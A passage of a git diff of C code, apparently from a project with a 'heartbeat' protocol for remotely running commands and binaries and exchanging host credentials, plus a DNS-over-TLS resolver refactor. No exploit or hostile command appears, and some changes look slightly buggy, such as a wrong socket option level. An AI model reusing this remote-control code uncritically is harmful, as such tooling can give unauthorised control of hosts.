PRNE_LIMIT_ENUM(prne_htbt_op_t, NB_PRNE_HTBT_OP, 0xFE); typedef enum { PRNE_HTBT_STATUS_OK, + PRNE_HTBT_STATUS_UNIMPL, /* Protocol error detected. Mosts likely a format error. * An int32_t that follows is not used. */ @@ -209,7 +223,8 @@ struct prne_htbt_cmd { char *mem; size_t mem_len; char **args; - uint16_t argc; + uint8_t argc; + bool detach; }; struct prne_htbt_bin_meta { @@ -217,16 +232,35 @@ struct prne_htbt_bin_meta { prne_htbt_cmd_t cmd; }; -typedef void(prne_htbt_init_ft)(void *ptr); -typedef void(prne_htbt_free_ft)(const void *ptr); -typedef bool(prne_htbt_eq_ft)(const void *a, const void *b); -typedef prne_htbt_ser_rc_t(prne_htbt_ser_ft)(uint8_t *mem, const size_t mem_len, size_t *actual, const void *in); -typedef prne_htbt_ser_rc_t(prne_htbt_dser_ft)(const uint8_t *data, const size_t len, size_t *actual, void *out); +struct prne_htbt_stdio { + size_t len; + bool err; + bool fin; +}; + +typedef void(*prne_htbt_init_ft)(void *ptr); +typedef void(*prne_htbt_free_ft)(const void *ptr); +typedef bool(*prne_htbt_eq_ft)(const void *a, const void *b); +typedef prne_htbt_ser_rc_t(*prne_htbt_ser_ft)(uint8_t *mem, const size_t mem_len, size_t *actual, const void *in); +typedef prne_htbt_ser_rc_t(*prne_htbt_dser_ft)(const uint8_t *data, const size_t len, size_t *actual, void *out); -#define PRNE_HTBT_PROTO_MIN_BUF ((size_t)3 + 99 + 3 + 255 + 255) // PRNE_HTBT_OP_HOST_INFO #define PRNE_HTBT_PROTO_PORT (uint16_t)64420 -#define PRNE_HTBT_ARGS_MAX 1024 // _POSIX_ARG_MAX equiv -#define PRNE_HTBT_ARG_MEM_MAX 4095 // bash limit +#define PRNE_HTBT_ARGS_MAX 255 // _POSIX_ARG_MAX equiv +#define PRNE_HTBT_ARG_MEM_MAX 1023 +#define PRNE_HTBT_STDIO_LEN_MAX 0x0FFF + +/* PRNE_HTBT_PROTO_MIN_BUF +* +* Minimum size of buffer required to implement parsing of stream. Set to size +* required to deserialise PRNE_HTBT_OP_NY_BIN and PRNE_HTBT_OP_RUN_BIN. +*/ +#define PRNE_HTBT_PROTO_MIN_BUF ((size_t)3 + 5 + PRNE_HTBT_ARG_MEM_MAX) +/* PRNE_HTBT_PROTO_SUB_MIN_BUF +* +* Required write buffer size for submissive end. Set to that of +* PRNE_HTBT_OP_HOST_INFO. +*/ +#define PRNE_HTBT_PROTO_SUB_MIN_BUF ((size_t)3 + 94 + 255) const char *prne_arch_tostr (const prne_arch_t x); @@ -249,6 +283,7 @@ void prne_init_host_cred (prne_host_cred_t *hc); bool prne_alloc_host_cred (prne_host_cred_t *hc, const uint8_t id_len, const uint8_t pw_len); void prne_free_host_cred (prne_host_cred_t *hc); bool prne_eq_host_cred (const prne_host_cred_t *a, const prne_host_cred_t *b); +// TODO: base64 encode prne_htbt_ser_rc_t prne_enc_host_cred (uint8_t *data, const size_t len, size_t *actual, const prne_host_cred_t *in); prne_htbt_ser_rc_t prne_dec_host_cred (const uint8_t *data, const size_t len, prne_host_cred_t *out); @@ -258,7 +293,7 @@ void prne_htbt_free_host_info (prne_htbt_host_info_t *hi); bool prne_htbt_eq_host_info (const prne_htbt_host_info_t *a, const prne_htbt_host_info_t *b); void prne_htbt_init_cmd (prne_htbt_cmd_t *cmd); -bool prne_htbt_alloc_cmd (prne_htbt_cmd_t *cmd, const uint16_t argc, const size_t *args_len); +bool prne_htbt_alloc_cmd (prne_htbt_cmd_t *cmd, const size_t argc, const size_t *args_len); bool prne_htbt_set_cmd (prne_htbt_cmd_t *cmd, char **const args); void prne_htbt_free_cmd (prne_htbt_cmd_t *cmd); bool prne_htbt_eq_cmd (const prne_htbt_cmd_t *a, const prne_htbt_cmd_t *b); @@ -267,14 +302,22 @@ void prne_htbt_init_bin_meta (prne_htbt_bin_meta_t *nb); void prne_htbt_free_bin_meta (prne_htbt_bin_meta_t *nb); bool prne_htbt_eq_bin_meta (const prne_htbt_bin_meta_t *a, const prne_htbt_bin_meta_t *b); +void prne_htbt_init_stdio (prne_htbt_stdio_t *s); +void prne_htbt_free_stdio (prne_htbt_stdio_t *s); +bool prne_htbt_eq_stdio (const prne_htbt_stdio_t *a, const prne_htbt_stdio_t *b); + prne_htbt_ser_rc_t prne_htbt_ser_msg_head (uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_msg_head_t *in); prne_htbt_ser_rc_t prne_htbt_ser_status (uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_status_t *in); prne_htbt_ser_rc_t prne_htbt_ser_host_info (uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_host_info_t *in); prne_htbt_ser_rc_t prne_htbt_ser_cmd (uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_cmd_t *in); prne_htbt_ser_rc_t prne_htbt_ser_bin_meta (uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_bin_meta_t *in); +prne_htbt_ser_rc_t prne_htbt_ser_stdio (uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_stdio_t *in); prne_htbt_ser_rc_t prne_htbt_dser_msg_head (const uint8_t *data, const size_t len, size_t *actual, prne_htbt_msg_head_t *out); prne_htbt_ser_rc_t prne_htbt_dser_status (uint8_t *data, const size_t len, size_t *actual, prne_htbt_status_t *out); prne_htbt_ser_rc_t prne_htbt_dser_host_info (const uint8_t *data, const size_t len, size_t *actual, prne_htbt_host_info_t *out); prne_htbt_ser_rc_t prne_htbt_dser_cmd (const uint8_t *data, const size_t len, size_t *actual, prne_htbt_cmd_t *out); prne_htbt_ser_rc_t prne_htbt_dser_bin_meta (const uint8_t *data, const size_t len, size_t *actual, prne_htbt_bin_meta_t *out); +prne_htbt_ser_rc_t prne_htbt_dser_stdio (const uint8_t *data, const size_t len, size_t *actual, prne_htbt_stdio_t *out); + +char **prne_htbt_parse_args (char *m_args, const size_t args_size, const size_t add_argc, char **add_args, size_t *argc, const size_t max_args); @@ -26,12 +26,12 @@ void prne_fin_worker (prne_worker_t *w) { } } -bool prne_pth_cv_notify (prne_pth_cv_t *cv) { +bool prne_pth_cv_notify (pth_mutex_t *lock, pth_cond_t *cond, bool broadcast) { bool ret; - if (pth_mutex_acquire(cv->lock, FALSE, NULL)) { - ret = pth_cond_notify(cv->cond, cv->broadcast) == 0; - prne_assert(pth_mutex_release(cv->lock)); + if (pth_mutex_acquire(lock, FALSE, NULL)) { + ret = pth_cond_notify(cond, broadcast) != 0; + prne_dbgtrap(pth_mutex_release(lock)); } else { ret = false; @@ -40,71 +40,6 @@ bool prne_pth_cv_notify (prne_pth_cv_t *cv) { return ret; } -bool prne_pth_cond_timedwait (prne_pth_cv_t *cv, const struct timespec *timeout, bool *to_reached) { - pth_event_t ev; - bool ret, reached; - - if (timeout != NULL) { - ev = pth_event(PTH_EVENT_TIME, pth_timeout(timeout->tv_sec, timeout->tv_nsec / 1000)); - prne_assert(ev != NULL); - } - else { - ev = NULL; - } - - prne_assert(pth_mutex_acquire(cv->lock, FALSE, NULL)); - ret = pth_cond_await(cv->cond, cv->lock, ev) != 0; - prne_assert(pth_mutex_release(cv->lock)); - - if (ev != NULL && pth_event_occurred(ev)) { - ret = true; - reached = true; - } - else { - reached = false; - } - - if (to_reached != NULL) { - *to_reached = reached; - } - - pth_event_free(ev, FALSE); - return ret; -} - -int prne_unint_pth_poll (struct pollfd *fds, nfds_t nfds, const struct timespec *timeout) { - pth_event_t ev; - int ret; - - if (timeout != NULL) { - ev = pth_event(PTH_EVENT_TIME, pth_timeout(timeout->tv_sec, timeout->tv_nsec / 1000)); - if (ev == NULL) { - return -1; - } - } - else { - ev = NULL; - } - - do { - ret = pth_poll_ev(fds, nfds, -1, ev); - if (ev != NULL && pth_event_occurred(ev)) { - ret = 0; - break; - } - if (ret < 0 && errno == EINTR) { - continue; - } - } while (false); - - pth_event_free(ev, FALSE); - return ret; -} - -void prne_unint_pth_nanosleep (struct timespec dur) { - struct timespec rem; - - while (pth_nanosleep(&dur, &rem) < 0 && errno == EINTR) { - dur = rem; - } +pth_time_t prne_pth_tstimeout (const struct timespec ts) { + return pth_timeout(ts.tv_sec, ts.tv_nsec / 1000); } @@ -25,7 +25,5 @@ void prne_init_worker (prne_worker_t *w); void prne_free_worker (prne_worker_t *w); void prne_fin_worker (prne_worker_t *w); -bool prne_pth_cv_notify (prne_pth_cv_t *cv); -bool prne_pth_cond_timedwait (prne_pth_cv_t *cv, const struct timespec *timeout, bool *to_reached); -int prne_unint_pth_poll (struct pollfd *fds, nfds_t nfds, const struct timespec *timeout); -void prne_unint_pth_nanosleep (struct timespec dur); +bool prne_pth_cv_notify (pth_mutex_t *lock, pth_cond_t *cond, bool broadcast); +pth_time_t prne_pth_tstimeout (const struct timespec ts); diff --git a/src/resolv.c b/src/resolv.c index c382aad..ddf6921 100644 --- a/src/resolv.c +++ b/src/resolv.c @@ -1,4 +1,5 @@ #include "resolv.h" +#include "endian.h" #include "util_rt.h" #include "util_ct.h" #include "llist.h" @@ -6,7 +7,7 @@ #include "iset.h" #include "protocol.h" #include "mbedtls.h" -#include "config.h" +#include "iobuf.h" #include <stdlib.h> #include <string.h> @@ -50,16 +51,14 @@ typedef struct { } query_entry_t; struct prne_resolv { - size_t read_cnt_len; - size_t write_cnt_len; struct pollfd act_sck_pfd; size_t ptr_nspool4, ptr_nspool6; prne_resolv_ns_pool_t nspool4, nspool6; pth_mutex_t lock; pth_cond_t cond; resolv_ctx_state_t ctx_state; - uint8_t write_buf[514]; - uint8_t read_buf[514]; + prne_iobuf_t iobuf[2]; + uint8_t m_buf[2][514]; prne_llist_t qlist; prne_imap_t qid_map; // uint16_t:q_ent(could be null) struct { @@ -248,11 +247,12 @@ static bool resolv_qq (prne_resolv_t *ctx, const char *name, prne_pth_cv_t *cv, prne_assert(pth_mutex_acquire(&ctx->lock, FALSE, NULL)); q_ent->qlist_ent = prne_llist_append(&ctx->qlist, q_ent); if (q_ent->qlist_ent == NULL) { + pth_mutex_release(&ctx->lock); goto ERR; } q_ent->tp_queued = prne_gettime(CLOCK_MONOTONIC); - pth_cond_notify(&ctx->cond, FALSE); - prne_assert(pth_mutex_release(&ctx->lock)); + prne_assert(pth_cond_notify(&ctx->cond, FALSE)); + pth_mutex_release(&ctx->lock); out->ctx = q_ent; out->fut = &q_ent->fut; @@ -275,7 +275,10 @@ static void resolv_disown_qent (query_entry_t *qent) { qent->qlist_ent = NULL; qent->qid = 0; if (qent->cv != NULL) { - prne_pth_cv_notify(qent->cv); + prne_pth_cv_notify( + qent->cv->lock, + qent->cv->cond, + qent->cv->broadcast); } } @@ -302,7 +305,7 @@ static uint16_t resolv_next_qid (prne_resolv_t *ctx) { return 0; } -static void resolv_close_sck (prne_resolv_t *ctx, const struct timespec *pause, bool change_srvr) { // TODO: take errno as param +static void resolv_close_sck (prne_resolv_t *ctx, const struct timespec *pause, bool change_srvr) { size_t i; query_entry_t *qent; prne_llist_entry_t *lent; @@ -330,13 +333,21 @@ static void resolv_close_sck (prne_resolv_t *ctx, const struct timespec *pause, prne_shutdown(ctx->act_sck_pfd.fd, SHUT_RDWR); prne_close(ctx->act_sck_pfd.fd); ctx->act_sck_pfd.fd = -1; - ctx->read_cnt_len = 0; - ctx->write_cnt_len = 0; + prne_iobuf_reset(&ctx->iobuf[0]); + prne_iobuf_reset(&ctx->iobuf[1]); mbedtls_ssl_free(&ctx->ssl.ctx); mbedtls_ssl_init(&ctx->ssl.ctx); if (pause != NULL) { - prne_unint_pth_nanosleep(*pause); + pth_event_t ev = pth_event( + PTH_EVENT_TIME, + prne_pth_tstimeout(*pause)); + pth_status_t s; + + do { + pth_wait(ev); + s = pth_event_status(ev); + } while (s == PTH_STATUS_PENDING); } if (change_srvr) { ctx->ptr_nspool4 = resolv_next_pool_ptr(ctx, ctx->nspool4.cnt); @@ -351,6 +362,7 @@ static bool resolv_ensure_act_dns_fd (prne_resolv_t *ctx) { int optval, pollret; const struct timespec *err_sleep = NULL; bool ret = false; + pth_event_t ev = NULL; { static const int ov_nodelay = 1; @@ -364,23 +376,20 @@ static bool resolv_ensure_act_dns_fd (prne_resolv_t *ctx) { (struct sockaddr*)&sa6, (struct sockaddr*)&sa4 }; - memzero(&sa6, sizeof(sa6)); - memzero(&sa4, sizeof(sa4)); + prne_memzero(&sa6, sizeof(sa6)); + prne_memzero(&sa4, sizeof(sa4)); prne_net_ep_tosin6(ctx->nspool6.arr + ctx->ptr_nspool6, &sa6); prne_net_ep_tosin4(ctx->nspool4.arr + ctx->ptr_nspool4, &sa4); for (i = 0; i < 2; i += 1) { pfs[i].fd = socket(ARR_DOMAIN[i], SOCK_STREAM, 0); pfs[i].events = POLLOUT; - if (pfs[i].fd < 0) { - goto ERR; - } - if (fcntl(pfs[i].fd, F_SETFL, O_NONBLOCK) != 0) { + if (pfs[i].fd < 0 || !prne_sck_fcntl(pfs[i].fd)) { goto ERR; } setsockopt( pfs[i].fd, - SOL_TCP, + SOL_SOCKET, TCP_NODELAY, &ov_nodelay, sizeof(int)); @@ -408,10 +417,29 @@ static bool resolv_ensure_act_dns_fd (prne_resolv_t *ctx) { } err_sleep = &RESOLV_CONN_ERR_PAUSE; + pth_event_free(ev, FALSE); + ev = pth_event( + PTH_EVENT_TIME, + prne_pth_tstimeout(RESOLV_SCK_OP_TIMEOUT)); + prne_assert(ev != NULL); while (pfs[0].fd >= 0 || pfs[1].fd >= 0) { - pollret = prne_unint_pth_poll(pfs, 2, &RESOLV_SCK_OP_TIMEOUT); - if (pollret > 0) { + pth_status_t st; + + pollret = pth_poll_ev(pfs, 2, -1, ev); + st = pth_event_status(ev); + + if (st == PTH_STATUS_OCCURRED) { + break; + } + else if (pollret < 0 && errno == EINTR) { + continue; + } + else if (pollret > 0) { for (i = 0; i < 2; i += 1) { + if (pfs[i].fd < 0) { + continue; + } + if (pfs[i].revents & (POLLHUP | POLLERR | POLLNVAL)) { prne_close(pfs[i].fd); pfs[i].fd = -1; @@ -436,72 +464,61 @@ static bool resolv_ensure_act_dns_fd (prne_resolv_t *ctx) { } } } - else if (pollret < 0) { - err_sleep = &RESOLV_RSRC_ERR_PAUSE; - break; - } else { - err_sleep = NULL; + err_sleep = &RESOLV_RSRC_ERR_PAUSE; break; } } END: + pth_event_free(ev, FALSE); prne_close(pfs[0].fd); prne_close(pfs[1].fd); if (!ret && err_sleep != NULL) { - prne_unint_pth_nanosleep(*err_sleep); + ev = pth_event( + PTH_EVENT_TIME, + pth_timeout(err_sleep->tv_sec, err_sleep->tv_nsec / 1000)); + prne_assert(ev != NULL); + do { + pth_wait(ev); + } while (pth_event_status(ev) == PTH_STATUS_PENDING); } + return ret; } -static bool resolv_tls_handshake (prne_resolv_t *ctx) { - int pollret; - bool ret = false; - const struct timespec *err_sleep = NULL; +static bool resolv_ensure_conn (prne_resolv_t *ctx) { + if (ctx->act_sck_pfd.fd < 0) { + pth_event_t ev; + bool ret = false; - while (true) { - switch (mbedtls_ssl_handshake(&ctx->ssl.ctx)) { - case MBEDTLS_ERR_SSL_WANT_READ: - ctx->act_sck_pfd.events = POLLIN; - break; - case MBEDTLS_ERR_SSL_WANT_WRITE: - ctx->act_sck_pfd.events = POLLOUT; - break; - case 0: - ret = true; - goto END; - default: - err_sleep = &RESOLV_CONN_ERR_PAUSE; - goto END; - } + ev = pth_event( + PTH_EVENT_TIME, + prne_pth_tstimeout(RESOLV_SCK_OP_TIMEOUT)); - pollret = prne_unint_pth_poll(&ctx->act_sck_pfd, 1, &RESOLV_SCK_OP_TIMEOUT); - if (pollret < 0) { - err_sleep = &RESOLV_RSRC_ERR_PAUSE; - goto END; - } - else if (pollret == 0) { + if (!resolv_ensure_act_dns_fd(ctx)) { goto END; } - else if (ctx->act_sck_pfd.revents & (POLLERR | POLLNVAL | POLLHUP)) { - err_sleep = &RESOLV_CONN_ERR_PAUSE; + if (!prne_mbedtls_pth_handle( + &ctx->ssl.ctx, + mbedtls_ssl_handshake, + ctx->act_sck_pfd.fd, + ev)) + { + if (pth_event_status(ev) != PTH_STATUS_OCCURRED) { + pth_event_free(ev, FALSE); + ev = pth_event( + PTH_EVENT_TIME, + prne_pth_tstimeout(RESOLV_CONN_ERR_PAUSE)); + pth_wait(ev); + } goto END; } - } + ret = true; END: - if (!ret) { - resolv_close_sck(ctx, err_sleep, true); - } - return ret; -} - -static bool resolv_ensure_conn (prne_resolv_t *ctx) { - if (ctx->act_sck_pfd.fd < 0) { - if (!(resolv_ensure_act_dns_fd(ctx) && - resolv_tls_handshake(ctx))) - return false; + pth_event_free(ev, FALSE); + return ret; } return true; @@ -947,7 +964,7 @@ static bool resolv_send_dns_msgs (prne_resolv_t *ctx) { dot_msg_len = resolv_calc_dot_msg_len(qent); dns_msg_len = dot_msg_len - 2; - if (dot_msg_len + ctx->write_cnt_len <= sizeof(ctx->write_buf)) { + if (dot_msg_len + ctx->iobuf[1].len <= ctx->iobuf[1].avail) { qid = resolv_next_qid(ctx); if (qid == 0) { qent->fut.qr = PRNE_RESOLV_QR_ERR; @@ -969,12 +986,13 @@ static bool resolv_send_dns_msgs (prne_resolv_t *ctx) { else { cur = prne_llist_erase(&ctx->qlist, cur); - ctx->write_buf[ctx->write_cnt_len + 0] = (uint8_t)((dns_msg_len & 0xFF00) >> 8); - ctx->write_buf[ctx->write_cnt_len + 1] = (uint8_t)(dns_msg_len & 0x00FF); + ctx->iobuf[1].m[ctx->iobuf[1].len + 0] = + prne_getmsb16(dns_msg_len, 0); + ctx->iobuf[1].m[ctx->iobuf[1].len + 1] = + prne_getmsb16(dns_msg_len, 1); qent->qid = qid; - resolv_write_dns_msg(qent, ctx->write_buf + ctx->write_cnt_len + 2); - - ctx->write_cnt_len += dot_msg_len; + resolv_write_dns_msg(qent, ctx->iobuf[1].m + ctx->iobuf[1].len + 2); + prne_iobuf_shift(ctx->iobuf + 1, dot_msg_len); ret |= true; } } @@ -1014,15 +1032,14 @@ static void resolv_proc_q (prne_resolv_t *ctx) { * The server could be sending gibberish response messages that look legit. * Timeout the loop when we don't receive response we recognise in time. */ - struct timespec last_proc, now, delta, op_rem; + pth_event_t ev = NULL; LOOP: - last_proc = prne_gettime(CLOCK_MONOTONIC); proc = false; while (ctx->qlist.size > 0 || ctx->qid_map.size > 0) { resolv_proc_expired(ctx); - if (ctx->write_cnt_len > 0 || ctx->qid_map.size < RESOLV_PIPELINE_SIZE) { + if (ctx->iobuf[1].len > 0 || ctx->qid_map.size < RESOLV_PIPELINE_SIZE) { pfd_events = POLLIN | POLLOUT; } else { @@ -1033,22 +1050,22 @@ LOOP: goto LOOP; } - now = prne_gettime(CLOCK_MONOTONIC); - if (proc) { - last_proc = now; + if (proc || ev == NULL) { + pth_event_free(ev, FALSE); + ev = pth_event( + PTH_EVENT_TIME, + prne_pth_tstimeout(RESOLV_SCK_OP_TIMEOUT)); } proc = false; - delta = prne_sub_timespec(now, last_proc); - if (prne_cmp_timespec(delta, RESOLV_SCK_OP_TIMEOUT) >= 0) { - resolv_close_sck(ctx, NULL, true); - goto LOOP; - } - op_rem = prne_sub_timespec(RESOLV_SCK_OP_TIMEOUT, delta); ctx->act_sck_pfd.events = pfd_events; - pollret = prne_unint_pth_poll(&ctx->act_sck_pfd, 1, &op_rem); + prne_assert(ev != NULL); // fatal without timeout + pollret = pth_poll_ev(&ctx->act_sck_pfd, 1, -1, ev); - if (pollret > 0) { + if (pth_event_status(ev) != PTH_STATUS_PENDING) { + resolv_close_sck(ctx, NULL, true); + } + else if (pollret > 0) { if (ctx->act_sck_pfd.revents & (POLLERR | POLLHUP | POLLNVAL)) { resolv_close_sck(ctx, &RESOLV_CONN_ERR_PAUSE, true); goto LOOP; @@ -1057,25 +1074,32 @@ LOOP: size_t pos, msg_len; bool err_flag = false; - ret = mbedtls_ssl_read(&ctx->ssl.ctx, ctx->read_buf + ctx->read_cnt_len, sizeof(ctx->read_buf) - ctx->read_cnt_len); + ret = mbedtls_ssl_read( + &ctx->ssl.ctx, + ctx->iobuf[0].m + ctx->iobuf[0].len, + ctx->iobuf[0].avail); if (ret <= 0) { // we don't renegotiate with terrorists. resolv_close_sck(ctx, &RESOLV_CONN_ERR_PAUSE, true); goto LOOP; } - ctx->read_cnt_len += (size_t)ret; + prne_iobuf_shift(&ctx->iobuf[0], ret); pos = 0; while (true) { - if (pos + 1 >= ctx->read_cnt_len) { + if (pos + 1 >= ctx->iobuf[0].len) { break; } - msg_len = ((size_t)ctx->read_buf[pos] << 8) | (size_t)ctx->read_buf[pos + 1]; + msg_len = prne_recmb_msb16( + ctx->iobuf[0].m[pos], + ctx->iobuf[0].m[pos + 1]); if (msg_len > 512) { // unimplemented. prne_dbgpf("* [resolv_wkr] Protocol error: received %zu bytes long msg. Dropping connection!\n", msg_len); // try to get qid - if (ctx->read_cnt_len > pos + 4) { - const uint16_t qid = ((uint_fast16_t)ctx->read_buf[pos + 2] << 8) | (uint_fast16_t)ctx->read_buf[pos + 3]; + if (ctx->iobuf[0].len > pos + 4) { + const uint16_t qid = prne_recmb_msb16( + ctx->iobuf[0].m[pos + 2], + ctx->iobuf[0].m[pos + 3]); const prne_imap_tuple_t *tpl = prne_imap_lookup(&ctx->qid_map, qid); if (tpl->val != NULL) { @@ -1088,80 +1112,60 @@ LOOP: resolv_close_sck(ctx, &RESOLV_CONN_ERR_PAUSE, true); goto LOOP; } - if (pos + 1 + msg_len >= ctx->read_cnt_len) { + if (pos + 1 + msg_len >= ctx->iobuf[0].len) { break; } - proc |= resolv_proc_dns_msg(ctx, ctx->read_buf + pos + 2, msg_len, &err_flag); + proc |= resolv_proc_dns_msg(ctx, ctx->iobuf[0].m + pos + 2, msg_len, &err_flag); if (err_flag) { resolv_close_sck(ctx, &RESOLV_CONN_ERR_PAUSE, true); goto LOOP; } pos += 2 + msg_len; } - if (pos > 0) { - memmove(ctx->read_buf, ctx->read_buf + pos, ctx->read_cnt_len - pos); - ctx->read_cnt_len -= pos; - } + + prne_iobuf_shift(&ctx->iobuf[0], -pos); } - if ((ctx->act_sck_pfd.revents & POLLOUT) && ctx->write_cnt_len > 0) { - ret = mbedtls_ssl_write(&ctx->ssl.ctx, ctx->write_buf, ctx->write_cnt_len); + if ((ctx->act_sck_pfd.revents & POLLOUT) && ctx->iobuf[1].len > 0) { + ret = mbedtls_ssl_write( + &ctx->ssl.ctx, + ctx->iobuf[1].m, + ctx->iobuf[1].len); if (ret <= 0) { // we don't renegotiate with terrorists. resolv_close_sck(ctx, &RESOLV_CONN_ERR_PAUSE, true); goto LOOP; } - - memmove(ctx->write_buf, ctx->write_buf + (size_t)ret, ctx->write_cnt_len - (size_t)ret); - ctx->write_cnt_len -= (size_t)ret; + prne_iobuf_shift(&ctx->iobuf[1], -ret); } - if (ctx->write_cnt_len == 0) { + + if (ctx->iobuf[1].len == 0) { proc |= resolv_send_dns_msgs(ctx); } } - else if (pollret == 0) { - resolv_close_sck(ctx, NULL, true); - } else { resolv_close_sck(ctx, &RESOLV_RSRC_ERR_PAUSE, true); } } + + pth_event_free(ev, FALSE); } static void resolv_proc_close (prne_resolv_t *ctx) { - int pollret; + pth_event_t ev = pth_event( + PTH_EVENT_TIME, + prne_pth_tstimeout(RESOLV_SCK_CLOSE_TIMEOUT)); + bool ret; - do { - switch (mbedtls_ssl_close_notify(&ctx->ssl.ctx)) { - case MBEDTLS_ERR_SSL_WANT_READ: - ctx->act_sck_pfd.events = POLLIN; - break; - case MBEDTLS_ERR_SSL_WANT_WRITE: - ctx->act_sck_pfd.events = POLLOUT; - break; - case 0: - resolv_close_sck(ctx, NULL, false); - return; - default: - resolv_close_sck(ctx, &RESOLV_CONN_ERR_PAUSE, true); - return; - } + ret = prne_mbedtls_pth_handle( + &ctx->ssl.ctx, + mbedtls_ssl_close_notify, + ctx->act_sck_pfd.fd, + ev); + resolv_close_sck(ctx, ret ? NULL : &RESOLV_CONN_ERR_PAUSE, !ret); - pollret = prne_unint_pth_poll(&ctx->act_sck_pfd, 1, &RESOLV_SCK_CLOSE_TIMEOUT); - if (pollret < 0) { - resolv_close_sck(ctx, &RESOLV_CONN_ERR_PAUSE, true); - return; - } - else if (pollret == 0) { - resolv_close_sck(ctx, NULL, true); - return; - } - else if (ctx->act_sck_pfd.revents & (POLLERR | POLLHUP | POLLNVAL)) { - resolv_close_sck(ctx, &RESOLV_CONN_ERR_PAUSE, true); - return; - } - } while (true); + pth_event_free(ev, FALSE); } static void resolv_wkr_free (void *p) { @@ -1177,6 +1181,8 @@ static void resolv_wkr_free (void *p) { prne_free_imap(&ctx->qid_map); mbedtls_ssl_config_free(&ctx->ssl.conf); mbedtls_ssl_free(&ctx->ssl.ctx); + prne_free_iobuf(ctx->iobuf + 0); + prne_free_iobuf(ctx->iobuf + 1); prne_close(ctx->act_sck_pfd.fd); prne_free(ctx); @@ -1186,8 +1192,8 @@ static void resolv_wkr_fin (void *p) { DECL_CTX_PTR(p); prne_assert(pth_mutex_acquire(&ctx->lock, FALSE, NULL)); ctx->ctx_state = RESOLV_CTX_STATE_FIN_CALLED; - pth_cond_notify(&ctx->cond, FALSE); - prne_assert(pth_mutex_release(&ctx->lock)); + prne_assert(pth_cond_notify(&ctx->cond, FALSE)); + pth_mutex_release(&ctx->lock); } static void *resolv_wkr_entry (void *p) { @@ -1212,8 +1218,8 @@ static void *resolv_wkr_entry (void *p) { pth_cond_await(&ctx->cond, &ctx->lock, ev); if (ev != NULL) { - sck_close = pth_event_occurred(ev) != 0; - pth_event_free(ev, PTH_FREE_ALL); + sck_close = pth_event_status(ev) != PTH_STATUS_PENDING; + pth_event_free(ev, FALSE); } } prne_assert(pth_mutex_release(&ctx->lock)); @@ -1235,7 +1241,11 @@ static void *resolv_wkr_entry (void *p) { prne_resolv_t *prne_alloc_resolv (prne_worker_t *wkr, mbedtls_ctr_drbg_context *ctr_drbg, const prne_resolv_ns_pool_t pool_v4, const prne_resolv_ns_pool_t pool_v6) { prne_resolv_t *ctx = NULL; - if (wkr == NULL || ctr_drbg == NULL) { + if (wkr == NULL || + ctr_drbg == NULL || + pool_v4.cnt == 0 || + pool_v6.cnt == 0) + { errno = EINVAL; return NULL; } @@ -1244,8 +1254,18 @@ prne_resolv_t *prne_alloc_resolv (prne_worker_t *wkr, mbedtls_ctr_drbg_context * if (ctx == NULL) { return NULL; } - ctx->read_cnt_len = 0; - ctx->write_cnt_len = 0; + prne_init_iobuf(ctx->iobuf + 0); + prne_init_iobuf(ctx->iobuf + 1); + prne_iobuf_setextbuf( + ctx->iobuf + 0, + ctx->m_buf[0], + sizeof(ctx->m_buf[0]), + 0); + prne_iobuf_setextbuf( + ctx->iobuf + 1, + ctx->m_buf[1], + sizeof(ctx->m_buf[1]), + 0); ctx->act_sck_pfd.fd = -1; ctx->ctx_state = RESOLV_CTX_STATE_OK; ctx->ssl.ctr_drbg = ctr_drbg; @@ -1356,10 +1376,15 @@ bool prne_resolv_alloc_ns_pool (prne_resolv_ns_pool_t *pool, const size_t cnt) { ny = prne_realloc(pool->ownership ? pool->arr : NULL, sizeof(prne_net_endpoint_t), cnt); if (ny != NULL) { + if (!pool->ownership) { + memcpy( + ny, + pool->arr, + prne_op_min(pool->cnt, cnt) * sizeof(prne_net_endpoint_t)); + } pool->arr = (prne_net_endpoint_t*)ny; pool->cnt = cnt; pool->ownership = true; - memzero(pool->arr, cnt * sizeof(prne_net_endpoint_t)); return true; } @@ -1367,6 +1392,12 @@ bool prne_resolv_alloc_ns_pool (prne_resolv_ns_pool_t *pool, const size_t cnt) { return false; } +prne_resolv_ns_pool_t prne_resolv_own_ns_pool(const prne_resolv_ns_pool_t *pool, const bool ownership) { + prne_resolv_ns_pool_t ret = *pool; + ret.ownership = ownership; + return ret; +} + void prne_resolv_init_prm (prne_resolv_prm_t *prm) { prm->ctx = NULL; prm->fut = NULL; diff --git a/src/resolv.h b/src/resolv.h index 44a2be8..71e4958 100644 --- a/src/resolv.h +++ b/src/resolv.h @@ -154,6 +154,7 @@ bool prne_resolv_prm_gettxtrec (prne_resolv_t *ctx, const char *name, prne_pth_c void prne_resolv_init_ns_pool (prne_resolv_ns_pool_t *pool); void prne_resolv_free_ns_pool (prne_resolv_ns_pool_t *pool); bool prne_resolv_alloc_ns_pool (prne_resolv_ns_pool_t *pool, const size_t cnt); +prne_resolv_ns_pool_t prne_resolv_own_ns_pool(const prne_resolv_ns_pool_t *pool, const bool ownership); void prne_resolv_init_prm (prne_resolv_prm_t *prm); void prne_resolv_free_prm (prne_resolv_prm_t *prm); void prne_init_resolv_fut (prne_resolv_fut_t *fut); diff --git a/src/util_ct.h b/src/util_ct.h index 16d4157..ad8118f 100644 --- a/src/util_ct.h +++ b/src/util_ct.h @@ -16,10 +16,6 @@ #define prne_salign_next(x, align) (((x) % (align) == 0) ? (x) : ((x) / (align) + 1) * (align)) #define prne_salign_at(x, align) (((x) % (align) == 0) ? (x) : ((x) / (align)) * (align)) -#if !defined(memzero) -#define memzero(addr, len) memset((addr), 0, (len)) -#endif - #ifdef PRNE_DEBUG #define prne_dbgpf(...) fprintf(stderr, __VA_ARGS__) #define prne_dbgperr(str) perror(str) @@ -33,6 +29,7 @@ } #define prne_dbgast(expr) prne_assert(expr) #define prne_dbgmast(expr, ...) prne_massert(expr, __VA_ARGS__) +#define prne_dbgtrap(expr) prne_assert(expr) #else #define prne_dbgpf(...) #define prne_dbgperr(str) @@ -43,4 +40,5 @@ #define prne_massert(expr, ...) prne_assert(expr) #define prne_dbgast(expr) #define prne_dbgmast(expr, ...) +#define prne_dbgtrap(expr) (expr) #endif diff --git a/src/util_rt.c b/src/util_rt.c index 8a1e61b..24e924d 100644 --- 